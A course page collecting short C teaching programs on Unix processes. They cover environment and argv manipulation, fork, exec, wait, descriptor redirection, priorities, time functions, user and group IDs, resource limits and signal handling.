int main(int argc, char **argv, char **environ)
{
int i, n;
char buf[4096];
for (i = 0, n = 0; environ[i]; i++)
n += strlen(environ[i]) + 1;
n -= 1;
printf("%d\n", n);
for (i = 0; i < n-20; i++)
buf[i] = 'l';
buf[i] = 0;
memcpy(environ[0], buf, n);
sleep(20);
return 0;
}
environ-04.cC / 68 lines
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
extern char **environ;
int main(void)
{
/*
1. Remember the original environment memory.
*/
char *old_start = environ[0];
char *old_end = environ[0];
for (int i = 0; environ[i] != NULL; i++) {
char *end = environ[i] + strlen(environ[i]) + 1;
if (environ[i] < old_start)
old_start = environ[i];
if (end > old_end)
old_end = end;
}
size_t old_size = old_end - old_start;
/*
2. Copy every environment string.
This is the sentence:
"form a copy of the environment and put the corresponding
addresses into the elements of the environ array"
*/
for (int i = 0; environ[i] != NULL; i++) {
environ[i] = strdup(environ[i]);
}
/*
Now environ points to heap copies.
The original environment memory is no longer needed by getenv().
*/
char fake[] =
"FAKE=123\0"
"HELLO=world\0";
if (sizeof(fake) > old_size) {
fprintf(stderr, "Not enough space in original environment memory\n");
return 1;
}
/*
3. Overwrite the old original environment memory.
*/
memset(old_start, 0, old_size);
memcpy(old_start, fake, sizeof(fake));
printf("PID: %d\n", getpid());
printf("getenv(\"FAKE\") = %s\n", getenv("FAKE"));
printf("getenv(\"PATH\") = %s\n", getenv("PATH"));
getchar();
return 0;
}
environ-05.cC / 13 lines
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv)
{
printf("PID: %d\n", getpid());
getchar();
printf("%s %ld\n", argv[0], strlen(argv[0]));
strncpy(argv[0], "hello", strlen(argv[0]));
getchar();
return 0;
}
environ-06.cC / 30 lines
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv)
{
printf("PID: %d\n", getpid());
printf("Before changing argv[0], run:\n");
printf(" ps -p %d -o pid,args\n", getpid());
getchar();
const char *new_title = "my-program: working";
/*
Only use the space already occupied by argv[0].
Do NOT write more than strlen(argv[0]) bytes.
*/
size_t space = strlen(argv[0]);
memset(argv[0], 0, space);
strncpy(argv[0], new_title, space);
printf("After changing argv[0], run again:\n");
printf(" ps -p %d -o pid,args\n", getpid());
getchar();
return 0;
}
environ-07.cC / 25 lines
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv)
{
printf("PID: %d\n", getpid());
printf("Check with:\n");
printf(" ps -p %d -o pid,args\n", getpid());
printf(" tr '\\0' ' ' < /proc/%d/cmdline; echo\n", getpid());
getchar();
size_t space = strlen(argv[0]);
const char *new_title = "worker: idle";
memset(argv[0], 0, space);
strncpy(argv[0], new_title, space);
printf("Changed argv[0]. Check again.\n");
getchar();
return 0;
}
environ-08.cC / 25 lines
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
int main()
{
char *editor;
editor = getenv("EDITOR");
if (editor) {
printf("%s\n", editor);
setenv("EDITOR", "vim", 1);
editor = getenv("EDITOR");
if (editor)
printf("%s\n", editor);
unsetenv("EDITOR");
editor = getenv("EDITOR");
if (editor)
printf("%s\n", editor);
}
getchar();
return 0;
}
environ-09.cC / 44 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
enum { path_size = 64, buf_size = 4096 };
extern char **environ;
static void die(const char *msg, int code)
{
perror(msg);
exit(code);
}
static void parse_environ_file()
{
int pid, fd, res, count, i, j;
char path[path_size], buf[buf_size];
pid = getpid();
sprintf(path, "/%s/%d/%s", "proc", pid, "environ");
fd = open(path, O_RDONLY);
if (fd == -1)
die("open", 2);
while ((count = read(fd, buf, buf_size)) != 0)
for (i = 0, j = 0; j < count; j++)
if (buf[j] == 0) {
printf("%s\n", buf+i);
i = j+1;
}
res = close(fd);
if (res == -1)
die("close", 2);
}
int main()
{
parse_environ_file();
return 0;
}
environ-10.cC / 61 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
enum { path_size = 64, buf_size = 4096 };
extern char **environ;
static void die(const char *msg, int code)
{
perror(msg);
exit(code);
}
static void parse_environ_file()
{
int pid, fd, res, count, i, j;
char path[path_size], buf[buf_size];
pid = getpid();
sprintf(path, "/%s/%d/%s", "proc", pid, "environ");
fd = open(path, O_RDONLY);
if (fd == -1)
die("open", 2);
while ((count = read(fd, buf, buf_size)) != 0)
for (i = 0, j = 0; j < count; j++)
if (buf[j] == 0) {
printf("%s\n", buf+i);
i = j+1;
}
res = close(fd);
if (res == -1)
die("close", 2);
}
int main()
{
char *editor;
editor = getenv("EDITOR");
if (editor) {
printf("%s\n", editor);
setenv("EDITOR", "vim", 1);
editor = getenv("EDITOR");
if (editor)
printf("%s\n", editor);
}
memset(environ[0], 0, 600);
parse_environ_file();
editor = getenv("EDITOR");
if (editor)
printf("%s\n", editor);
return 0;
}
environ-11.cC / 12 lines
#include <unistd.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv)
{
memcpy(environ[0], "hello there", 11);
sleep(20);
return 0;
}
environ-12.cC / 11 lines
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv)
{
char *str = argv[0];
strcpy(str, "hello there");
sleep(10);
return 0;
}
environ-13.cC / 41 lines
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
enum { buf_size = 4096 };
extern char **environ;
static void print_environ()
{
int i;
for (i = 0; environ[i] != NULL; i++)
printf("%s,", environ[i]);
printf("\n");
}
int main(int argc, char **argv)
{
int i, fd, rc;
char file_name[buf_size], buf[buf_size];
char *save = environ[0];
for (i = 0; environ[i] != NULL; i++)
environ[i] = strdup(environ[i]);
strcpy(save, "hello there, how are you doing");
sprintf(file_name, "/proc/%d/environ", getpid());
fd = open(file_name, O_RDONLY);
while ((rc = read(fd, buf, buf_size)) > 0)
write(1, buf, rc);
printf("\n");
close(fd);
print_environ();
return 0;
}
environ-14.cC / 7 lines
#include <stdio.h>
int main(int argc, char **argv)
{
printf("hello\n");
return 0;
}
process.cC / 41 lines
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
int main()
{
int width, pid, priority, res;
width = 15;
pid = getpid();
printf("%*s id: %d\n", width, "Process", pid);
printf("%*s id: %d\n", width, "Parent process", getppid());
printf("%*s id: %d\n", width, "User", getuid());
printf("%*s id: %d\n", width, "Effective User", geteuid());
printf("%*s id: %d\n", width, "Group", getgid());
printf("%*s id: %d\n", width, "Effective Group", getegid());
printf("%*s id: %d\n", width, "Session", getsid(pid));
printf("%*s id: %d\n", width, "Process group", getpgid(pid));
priority = getpriority(PRIO_PROCESS, pid);
printf("%d\n", priority);
getchar();
res = setpriority(PRIO_PROCESS, pid, 5);
if (res == -1) {
perror("setpriority");
exit(1);
}
priority = getpriority(PRIO_PROCESS, pid);
printf("%d\n", priority);
getchar();
nice(5);
priority = getpriority(PRIO_PROCESS, pid);
printf("%d\n", priority);
getchar();
return 0;
}
03 (05-03)
chdir.cC / 24 lines
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
static void die(const char *msg)
{
perror(msg);
exit(1);
}
int main()
{
int res;
res = chdir("..");
if (res == -1)
die("chdir");
res = chroot("/home/m");
if (res == -1)
die("chroot");
return 0;
}
04 (05-03)
fork-01.cC / 11 lines
#include <stdio.h>
#include <unistd.h>
int main()
{
fork();
fork();
fork();
printf("Hello\n");
return 0;
}
fork-02.cC / 13 lines
#include <stdio.h>
#include <unistd.h>
int main()
{
int p;
p = fork();
if (p == 0)
printf("I'm the child\n");
else
printf("I'm the parent\n");
return 0;
}
fork-03.cC / 44 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
enum { buf_size = 4096 };
static void die(const char *msg, int code)
{
perror("msg");
exit(code);
}
int main(int argc, char **argv)
{
int fd, res, p, count;
char buf[buf_size];
if (argc != 2) {
fprintf(stderr, "Usage: %s <file name>\n", argv[0]);
exit(1);
}
fd = open(argv[1], O_RDONLY);
if (fd == -1)
die("open", 2);
p = fork();
if (p == -1)
die("fork", 2);
else if (p == 0) {
while ((count = read(fd, buf, buf_size)) != 0)
write(1, buf, count);
exit(0);
}
lseek(fd, 6, SEEK_SET);
res = close(fd);
if (res == -1)
die("close", 2);
return 0;
}
fork-04.cC / 34 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
static void die(const char *msg, int code)
{
perror("msg");
exit(code);
}
int main()
{
int pgs, pid, size;
int *ptr;
size = 4096;
pgs = getpagesize();
size = ((size - 1) / pgs + 1) * pgs;
ptr = mmap(NULL, size, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (ptr == MAP_FAILED)
die("mmap", 1);
pid = fork();
if (pid == -1)
die("fork", 1);
if (pid == 0)
printf("%d\n", ptr[77]);
else
ptr[77] = 120;
munmap(ptr, size);
}
fork-05.cC / 28 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int main(void) {
pid_t pid = fork();
if (pid < 0) {
perror("fork");
exit(1);
}
if (pid == 0) {
printf("child pid=%d: before getchar\n", getpid());
fflush(stdout);
int c = getchar();
printf("child pid=%d: got %d\n", getpid(), c);
exit(0);
} else {
printf("parent pid=%d, child=%d\n", getpid(), pid);
wait(NULL);
}
return 0;
}
05 (05-03)
exec-01.cC / 11 lines
#include <unistd.h>
#include <stdio.h>
int main()
{
execlp("ls", "ls", "-la", "exec01.c", NULL);
perror("execlp");
exit(1);
return 0;
}
exec-02.cC / 28 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void die(const char *msg, int code)
{
perror("msg");
exit(code);
}
int main()
{
int pid;
printf("Hello there");
pid = fork();
if (pid == -1)
die("fork", 1);
if (pid == 0) {
execlp("l", "ls", "-la", "exec01.c", NULL);
perror("execlp");
exit(1);
}
return 0;
}
exec-03.cC / 28 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void die(const char *msg, int code)
{
perror("msg");
exit(code);
}
int main()
{
int pid;
printf("Some error message");
pid = fork();
if (pid == -1)
die("fork", 1);
if (pid == 0) {
execlp("l", "ls", "-l", NULL);
perror("execlp");
exit(1); /* _exit(1); */
}
return 0;
}
exec-04.cC / 47 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
enum { buf_size = 4096 };
static void die(const char *msg, int code)
{
perror("msg");
exit(code);
}
int main()
{
int fd, res, count;
char buf[buf_size];
fd = open("exec04.t", O_RDONLY);
if (fd == -1)
die("open", 1);
int pid;
pid = fork();
if (pid == -1) {
perror("fork");
exit(1);
}
/* fcntl(fd, F_SETFD, FD_CLOEXEC); */
if (pid == 0) {
execlp("ls", "ls", "-l", NULL);
while((count = read(fd, buf, buf_size) != 0)) {
res = write(1, buf, count);
if (res == -1)
die("write", 1);
}
perror("ls");
fflush(stderr);
_exit(1);
}
res = close(fd);
if (res == -1)
die("close", 1);
return 0;
}
exec-05.cC / 41 lines
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
int use_cloexec = argc > 1;
int fd = open("example.txt", O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd == -1) {
perror("open");
return 1;
}
printf("main: opened example.txt as fd %d\n", fd);
if (use_cloexec) {
int flags = fcntl(fd, F_GETFD);
if (flags == -1) {
perror("fcntl F_GETFD");
return 1;
}
if (fcntl(fd, F_SETFD, flags | FD_CLOEXEC) == -1) {
perror("fcntl F_SETFD");
return 1;
}
printf("main: set FD_CLOEXEC on fd %d\n", fd);
} else {
printf("main: did NOT set FD_CLOEXEC on fd %d\n", fd);
}
char fd_as_string[32];
snprintf(fd_as_string, sizeof(fd_as_string), "%d", fd);
execl("./checkfd", "./checkfd", fd_as_string, NULL);
perror("execl");
return 1;
}
exec-06.cC / 32 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void die(const char *msg, int code)
{
perror("msg");
exit(code);
}
int main()
{
int pid;
/* setvbuf(stderr, NULL, _IOFBF, 0); */
fprintf(stderr, "Some error message\n");
pid = fork();
if (pid == -1)
die("fork", 1);
if (pid == 0) {
execlp("l", "ls", "-l", NULL);
fprintf(stderr, "Some error message");
perror("execlp");
_exit(1); /* _exit(1); */
}
return 0;
}
06 (05-03)
return-01.cC / 8 lines
#include <stdio.h>
#include <unistd.h>
int main()
{
printf("Hello world");
_exit(0);
}
return-02.cC / 8 lines
#include <stdio.h>
#include <unistd.h>
int main()
{
printf("Hello world\n");
_exit(0);
}
return-03.cC / 9 lines
#include <stdio.h>
#include <unistd.h>
int main()
{
printf("Hello world\n");
fork();
return 0;
}
07 (05-03)
wait-00.cC / 32 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int main()
{
int status, wr, pid;
pid = fork();
if (pid == -1) {
perror("fork");
return 1;
}
if (pid == 0) {
exit(1);
}
getchar();
wr = wait(&status);
if (wr == -1)
printf("There are no child processes at all\n");
else {
printf("Process with pid=%d finished.\n", wr);
if (WIFEXITED(status))
printf("It has exited with code=%d.\n",
WEXITSTATUS(status));
else
printf("It was killed by signla %d.\n",
WTERMSIG(status));
}
return 0;
}
wait-01.cC / 26 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
int main()
{
int pid;
pid = fork();
if (pid == -1) { /* error of child process */
perror("fork");
exit(1);
}
if (pid == 0) { /* child process */
execlp("ls", "ls", "-l", "-a", "/var", NULL);
perror("ls"); /* error if exec returned here */
exit(1); /* end with error */
}
wait(NULL); /* wait for child process, kill zombie */
printf("Ok\n");
return 0;
}
wait-02.cC / 32 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int main()
{
int *status, wr, pid;
pid = fork();
if (pid == -1) {
perror("fork");
return 1;
}
if (pid == 0) {
exit(1);
}
getchar();
wr = wait(status);
if (wr == -1)
printf("There are no child processes at all\n");
else {
printf("Process with pid=%d finished.\n", wr);
if (WIFEXITED(*status))
printf("It has exited with code=%d.\n",
WEXITSTATUS(*status));
else
printf("It was killed by signla %d.\n",
WTERMSIG(*status));
}
return 0;
}
08 (05-03)
05-03-08.cC / 73 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
void wait_process(int pid)
{
int wr, status, exit_status;
do {
wr = wait(&status);
if (wr == -1)
terminate("wait", 1);
} while (wr != pid);
if (WIFEXITED(status)) {
exit_status = WEXITSTATUS(status);
if (exit_status != 0)
printf("exited with code: %d\n", exit_status);
} else
printf("killed with signal: %d\n", WTERMSIG(status));
}
int launch_process(char *const cmds[])
{
int pid;
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
execvp(cmds[0], cmds);
terminate_exec("execvp", exit_process);
}
return pid;
}
int main(int argc, char **argv)
{
int pid;
if (argc < 2) {
fprintf(stderr, "Usage: %s program <args...>\n", argv[0]);
return 1;
}
pid = launch_process(argv+1);
wait_process(pid);
return 0;
}
09 (05-03)
priority-00.cC / 29 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
int main(int argc, char **argv)
{
int pid, old, new;
if (argc != 3) {
fprintf(stderr, "Usage: %s <process id> <priority: -20 to 19>\n",
argv[0]);
return 1;
}
pid = atoi(argv[1]);
new = atoi(argv[2]);
old = getpriority(PRIO_PROCESS, pid);
if (new < old) {
fprintf(stderr, "Cannot elevate priority as non-root user\n");
return 1;
}
setpriority(PRIO_PROCESS, pid, new);
new = getpriority(PRIO_PROCESS, pid);
printf("%d %d\n", old, new);
return 0;
}
priority-01.cC / 43 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <unistd.h>
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
int main(int argc, char **argv)
{
int pid, old, new;
if (argc != 2) {
fprintf(stderr, "Usage: %s <priority: -20 to 19>\n", argv[0]);
return 1;
}
new = atoi(argv[1]);
pid = fork();
if (pid == -1)
terminate("fork", 1);
if (pid == 0) {
getchar();
} else {
old = getpriority(PRIO_PROCESS, pid);
if (new < old) {
fprintf(stderr, "Cannot elevate priority as non-root user\n");
return 1;
}
setpriority(PRIO_PROCESS, pid, new);
new = getpriority(PRIO_PROCESS, pid);
printf("%d %d\n", old, new);
wait(NULL);
}
return 0;
}
time-00.cC / 9 lines
#include <stdio.h>
#include <time.h>
int main()
{
long t;
t = time(NULL);
printf("%ld\n", t);
}
time-01.cC / 18 lines
#include <stdio.h>
#include <time.h>
int main()
{
char *s1, *s2;
time_t t1, t2;
t1 = time(NULL);
s1 = ctime(&t1);
getchar();
t2 = time(NULL);
s2 = ctime(&t2);
printf("%s", s1);
printf("%s", s2);
}
time-02.cC / 20 lines
#include <stdio.h>
#include <time.h>
enum { time_size = 26 };
int main()
{
char s1[time_size], s2[time_size];
time_t t1, t2;
t1 = time(NULL);
ctime_r(&t1, s1);
getchar();
t2 = time(NULL);
ctime_r(&t2, s2);
printf("%s", s1);
printf("%s", s2);
}
time-03.cC / 32 lines
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
enum { time_size = 200 };
int main(int argc, char **argv)
{
char outstr[time_size];
time_t t;
struct tm *tmp;
if (argc != 2) {
fprintf(stderr, "Usage: %s <string format for time>\n", argv[0]);
exit(1);
}
t = time(NULL);
tmp = localtime(&t);
if (tmp == NULL) {
perror("localtime");
exit(1);
}
if (strftime(outstr, time_size, argv[1], tmp) == 0) {
fprintf(stderr, "strftime returned 0");
exit(2);
}
printf("Result string is is \"%s\"\n", outstr);
return 0;
}
time-04.cC / 18 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
int main()
{
int r, i;
struct timeval tv;
for (i = 0; i < 100; i++) {
r = gettimeofday(&tv, NULL);
if (r == -1) {
perror("gettimeofday");
exit(1);
}
printf("%ld %ld\n", tv.tv_sec, tv.tv_usec);
}
return 0;
}
time-05.cC / 36 lines
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
int main()
{
int r;
struct timespec duration, rem;
struct timeval tv;
duration.tv_sec = 3;
duration.tv_nsec = 5e8;
r = gettimeofday(&tv, NULL);
if (r == -1)
terminate("gettimeofday", 1);
printf("%ld %ld\n", tv.tv_sec, tv.tv_usec);
r = nanosleep(&duration, &rem);
if (r == -1)
terminate("nanosleep", 1);
r = gettimeofday(&tv, NULL);
if (r == -1)
terminate("gettimeofday", 1);
printf("%ld %ld\n", tv.tv_sec, tv.tv_usec);
return 0;
}
10 (05-03)
redirect-00.cC / 35 lines
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
int main(int argc, char **argv)
{
int r, fd;
if (argc != 2) {
fprintf(stderr, "Usage: %s <file name>\n", argv[0]);
return 1;
}
r = close(1);
if (r == -1)
terminate("close", 2);
fd = open(argv[1], O_WRONLY|O_CREAT|O_TRUNC, 0666);
if (fd == -1)
terminate("open", 2);
printf("hello there\n");
fflush(stdout);
r = close(fd);
if (r == -1)
terminate("close", 2);
return 0;
}
redirect-01.cC / 40 lines
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
int main(int argc, char **argv)
{
int r, fd, save1;
if (argc != 2) {
fprintf(stderr, "Usage: %s <file name>\n", argv[0]);
return 1;
}
fd = open(argv[1], O_WRONLY|O_CREAT|O_TRUNC, 0666);
if (fd == -1)
terminate("open", 2);
fflush(stdout);
save1 = dup(1);
dup2(fd, 1);
r = close(fd);
if (r == -1)
terminate("close", 2);
printf("hello there\n");
fflush(stdout);
dup2(save1, 1);
r = close(save1);
if (r == -1)
terminate("close", 2);
return 0;
}
redirect-02.cC / 41 lines
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
int main(int argc, char **argv)
{
int fd, pid, status;
if (argc != 2) {
fprintf(stderr, "Usage: %s <file name>\n", argv[0]);
return 1;
}
pid = fork();
if (pid == -1)
terminate("pid", 2);
if (pid == 0) {
fd = open(argv[1], O_WRONLY|O_CREAT|O_TRUNC, 0666);
if (fd == -1)
terminate("open", 2);
dup2(fd, 1);
close(fd);
execlp("ls", "ls", "-l", "-a", "-R", "./", NULL);
terminate("ls", 2);
}
wait(&status);
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
terminate("wait", 2);
return 0;
}
redirect-03.cC / 42 lines
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
int main(int argc, char **argv)
{
int fd, pid, status;
if (argc != 2) {
fprintf(stderr, "Usage: %s <file name>\n", argv[0]);
return 1;
}
fd = open(argv[1], O_WRONLY|O_CREAT|O_TRUNC, 0666);
if (fd == -1)
terminate("open", 2);
pid = fork();
if (pid == -1)
terminate("pid", 2);
if (pid == 0) {
dup2(fd, 1);
close(fd);
execlp("ls", "ls", "-l", "-a", "-R", "./", NULL);
terminate("ls", 2);
}
close(fd); /* don't forget to close descriptor in parent */
wait(&status);
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
terminate("wait", 2);
return 0;
}
11 (05-03)
permissions-00.cC / 64 lines
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/fsuid.h>
static int get_fsuid_now(void)
{
/*
setfsuid(-1) fails, but returns the current fsuid.
This is the usual Linux trick for reading fsuid.
*/
return setfsuid((uid_t)-1);
}
static void show_ids(void)
{
FILE *f = fopen("/proc/self/status", "r");
char line[256];
if (!f) {
perror("fopen");
exit(1);
}
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "Uid:", 4) == 0 ||
strncmp(line, "Gid:", 4) == 0) {
fputs(line, stdout);
}
}
fclose(f);
}
int main(int argc, char **argv)
{
if (argc != 2) {
fprintf(stderr, "usage: %s <new-fsuid>\n", argv[0]);
return 1;
}
uid_t target = atoi(argv[1]);
printf("Before:\n");
show_ids();
printf("current fsuid = %d\n\n", get_fsuid_now());
int old = setfsuid(target);
int now = get_fsuid_now();
printf("setfsuid(%d) returned old fsuid = %d\n", target, old);
printf("After:\n");
show_ids();
printf("current fsuid = %d\n", now);
if (now != target) {
printf("\nfsuid did NOT change. You probably lack CAP_SETUID, "
"or target UID is not allowed.\n");
}
return 0;
}
permissions-01.cC / 49 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <grp.h>
enum { width = 10, group_size = 64 };
static void print_group_ids()
{
int n, i;
gid_t *p;
n = getgroups(0, NULL);
p = malloc(n * sizeof(gid_t));
getgroups(n, p);
printf("%*s ids: ", width-1, "Group");
for (i = 0; i < n; i++)
printf("%d ", p[i]);
printf("\n");
}
int main()
{
int n;
gid_t *p;
printf("%*s id: %d\t", width, "User", getuid());
printf("%*s id: %d\n", width, "Effective User", geteuid());
printf("%*s id: %d\t", width, "Group", getgid());
printf("%*s id: %d\n", width, "Effective Group", getegid());
print_group_ids();
setgid(1004);
/* setuid(1004); */
n = 2;
p = malloc(n * sizeof(gid_t));
p[0] = 1;
p[1] = 2;
setgroups(n, p);
printf("%*s id: %d\t", width, "User", getuid());
printf("%*s id: %d\n", width, "Effective User", geteuid());
printf("%*s id: %d\t", width, "Group", getgid());
printf("%*s id: %d\n", width, "Effective Group", getegid());
print_group_ids();
return 0;
}
permissions-02.cC / 49 lines
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <grp.h>
enum { width = 15 };
static void print_id(const char *name, int id)
{
printf("%*s id: %d\n", width, name, id);
}
int main()
{
uid_t ruid, euid, suid;
gid_t rgid, egid, sgid;
getresuid(&ruid, &euid, &suid);
getresgid(&rgid, &egid, &sgid);
print_id("User", ruid);
print_id("Effective User", euid);
print_id("Saved User", suid);
printf("\n");
print_id("Group", rgid);
print_id("Effective Group", egid);
print_id("Saved Group", sgid);
printf("\n");
printf("-------------------------------------------------\n");
printf("\n");
euid = ruid;
egid = rgid;
setresuid(ruid, euid, suid);
setresgid(rgid, egid, sgid);
print_id("User", ruid);
print_id("Effective User", euid);
print_id("Saved User", suid);
printf("\n");
print_id("Group", rgid);
print_id("Effective Group", egid);
print_id("Saved Group", sgid);
return 0;
}
permissions-03.cC / 47 lines
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <grp.h>
enum { width = 15 };
static void print_id(const char *name, int id)
{
printf("%*s id: %d\n", width, name, id);
}
int main()
{
uid_t ruid, euid, suid;
gid_t rgid, egid, sgid;
getresuid(&ruid, &euid, &suid);
getresgid(&rgid, &egid, &sgid);
print_id("User", ruid);
print_id("Effective User", euid);
print_id("Saved User", suid);
printf("\n");
print_id("Group", rgid);
print_id("Effective Group", egid);
print_id("Saved Group", sgid);
printf("\n");
printf("-------------------------------------------------\n");
printf("\n");
euid = ruid;
egid = rgid;
setreuid(ruid, euid);
setregid(rgid, egid);
print_id("User", ruid);
print_id("Effective User", euid);
printf("\n");
print_id("Group", rgid);
print_id("Effective Group", egid);
return 0;
}
12 (05-03)
limit.cC / 33 lines
#include <stdio.h>
#include <sys/resource.h>
static void print_entry(const char *name, int resource)
{
struct rlimit rlim;
getrlimit(resource, &rlim);
printf("%s: soft %ld, hard %ld\n",
name, rlim.rlim_cur, rlim.rlim_max);
}
int main()
{
struct rlimit rlim;
print_entry("virtual memory", RLIMIT_AS);
print_entry("core file size", RLIMIT_CORE);
print_entry("cpu time", RLIMIT_CPU);
print_entry("file size", RLIMIT_FSIZE);
print_entry("open files", RLIMIT_NOFILE);
print_entry("max user processes", RLIMIT_NPROC);
print_entry("stack size", RLIMIT_STACK);
rlim.rlim_cur = 1;
rlim.rlim_max = 10;
setrlimit(RLIMIT_CPU, &rlim);
print_entry("cpu time", RLIMIT_CPU);
while (1)
{}
return 0;
}
Book example: pressagain.c
pressagain.cC / 23 lines
#include <signal.h>
#include <unistd.h>
#include <errno.h>
volatile static int n = 0;
const char message[] = "Press it again, I like it\n";
void handler(int s)
{
int save_errno = errno;
signal(SIGINT, handler);
n++;
write(1, message, sizeof(message)-1);
errno = save_errno;
}
int main()
{
signal(SIGINT, handler);
while(n < 25)
sleep(1);
return 0;
}
14 (05-03)
signal-00.cC / 23 lines
#include <signal.h>
#include <unistd.h>
#include <errno.h>
volatile static int n = 0;
const char message[] = "Press it again, I like it\n";
static void handler(int s)
{
int save_errno = errno;
signal(SIGINT, handler);
n++;
write(1, message, sizeof(message)-1);
errno = save_errno;
}
int main()
{
signal(SIGINT, handler);
while (n < 25)
sleep(1);
return 0;
}
signal-01.cC / 41 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
volatile int child_ready;
void usr1hdl(int n)
{
child_ready = 1;
}
int main()
{
int pid;
sigset_t mask_usr1, mask_empty;
sigemptyset(&mask_usr1);
sigaddset(&mask_usr1, SIGUSR1);
sigemptyset(&mask_empty);
printf("Prepare parent\n");
child_ready = 0;
sigprocmask(SIG_SETMASK, &mask_usr1, NULL);
signal(SIGUSR1, usr1hdl);
pid = fork();
if (pid == 0) {
printf("Prepare child\n");
kill(getppid(), SIGUSR1);
printf("Child is ready\n");
exit(0);
}
while (!child_ready)
sigsuspend(&mask_empty);
printf("Now parent can work with child\n");
return 0;
}
signal-02.cC / 77 lines
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
enum exit_codes {
exit_arguments = 1,
exit_process
};
void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
int launch_process(char *const a[])
{
int pid;
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
execvp(a[0], a);
terminate_exec("execvp", exit_process);
}
return pid;
}
void iterate_process(int pid)
{
int status, exit_status, sr, wr;
struct timespec duration, rem;
duration.tv_sec = 0;
duration.tv_nsec = 1e8;
sr = nanosleep(&duration, &rem);
if (sr == -1)
terminate("nanosleep", exit_process);
do {
kill(pid, SIGINT);
wr = waitpid(-1, &status, WNOHANG);
} while (wr == 0);
if (WIFEXITED(status)) {
exit_status = WEXITSTATUS(status);
if (exit_status != 0)
printf("exited with code: %d\n", exit_status);
}
}
int main(int argc, char **argv)
{
int pid;
if (argc < 2) {
fprintf(stderr, "Usage: %s <command with parameters ...>\n", argv[0]);
exit(1);
}
pid = launch_process(&argv[1]);
iterate_process(pid);
return 0;
}
signal-03.cC / 32 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
volatile static int n = 0;
const char message[] = "Press it again, I like it\n";
static void handler(int s)
{
int save_errno = errno;
signal(SIGINT, handler);
n++;
write(1, message, sizeof(message)-1);
errno = save_errno;
}
int main()
{
sigset_t mask_int, mask_empty;
sigemptyset(&mask_int);
sigaddset(&mask_int, SIGINT);
sigemptyset(&mask_empty);
sigprocmask(SIG_SETMASK, &mask_int, NULL);
signal(SIGINT, handler);
while (n < 25)
sigsuspend(&mask_empty);
return 0;
}
15 (05-03)
